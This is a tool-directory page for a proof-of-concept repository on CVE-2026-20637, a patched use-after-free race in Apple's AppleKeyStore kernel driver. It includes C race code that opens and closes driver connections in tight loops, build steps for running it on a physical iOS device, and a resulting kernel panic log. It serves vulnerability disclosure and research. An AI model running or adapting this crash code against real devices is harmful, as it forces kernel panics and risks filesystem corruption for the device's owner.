Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-20637-AppleSEPKeyStore-UAF — CVE-2026-20637: AppleSEPKeyStore Use-After-Free — iOS/macOS kernel vulnerability (patched in 26.4) | Kitploit
Tools/GitHubGitHub/enfilade-labs/cve-2026-20637-applesepkeystore-uaf
iOS SecurityVulnerability AnalysisExploitationMobile SecurityBinary Exploitation
GitHubenfilade-labs/cve-2026-20637-applesepkeystore-uaf

CVE-2026-20637-AppleSEPKeyStore-UAF

CVE-2026-20637: AppleSEPKeyStore Use-After-Free — iOS/macOS kernel vulnerability (patched in 26.4)

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
14 months agoNot yet reviewed
Share

CVE-2026-20637 — AppleSEPKeyStore Use-After-Free

CVE-2026-20637 · Enfilade · enfilade.io

Component: AppleKeyStore

Impact: An app may be able to cause unexpected system termination.

Description: A use after free issue was addressed with improved memory management.

— Apple Security Content, iOS 26.3 and iPadOS 26.3

Target

iOS26.1 – 26.2 (tested)
macOS26.1 – 26.2 (tested)
Componentcom.apple.driver.AppleSEPKeyStore
PatchediOS 26.3 / iPadOS 26.3

Apple may have patched this incrementally between 26.2.1 and 26.3, so intermediate builds may not reproduce.

Warning

Running the PoC will kernel-panic the device. Save your work before running. Repeated panics may cause filesystem corruption. For security research purposes only.

Vulnerability

Use-after-free in IOCommandGate triggered via an AppleKeyStore race. Eight caller threads hammer IOConnectCallMethod on selectors 0–15 while four closer threads race IOServiceClose, producing a window where the command gate is accessed after it has been freed.

Proof of Concept

root@kitploit:~
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS      8
#define NUM_CLOSERS      4
#define NUM_ITERATIONS   100000

static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;

// 8 caller threads: hammer IOConnectCallMethod (high priority)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    for (uint32_t sel = 0; sel < 16; sel++) {
        IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
    }
}

// 4 closer threads: race IOServiceClose (high priority)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    IOServiceClose(conn);
    atomic_store(&g_conn, IO_OBJECT_NULL);
}

// Main thread: 100k connections, no delay
for (int i = 0; i < NUM_ITERATIONS; i++) {
    uint32_t type = (i % 4 == 0) ? 0x2022
                  : (i % 4 == 1) ? 0xbeef
                  : (i % 4 == 2) ? 0x1337
                                 : 0x4141;
    IOServiceOpen(svc, mach_task_self(), type, &conn);
    atomic_store(&g_conn, conn);
    // NO DELAY — tight race window
}

Build & Run

  1. Open ios-app/Test.xcodeproj in Xcode.
  2. Select a physical iOS device (the simulator will not reach the driver).
  3. Build, run, and trigger the PoC from the app.

Panic Log

root@kitploit:~
panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
  (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
   72: 0xfffffffffffffe00

Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
  root:xnu-12377.42.6~55/RELEASE_ARM64_T8030

Panicked task 0xffffffe5b4f1e820: pid 956: Test

Kernel Extensions in backtrace:
   com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
      @0xfffffff016a47020->0xfffffff016a84f9f

License

See LICENSE.

Download Tool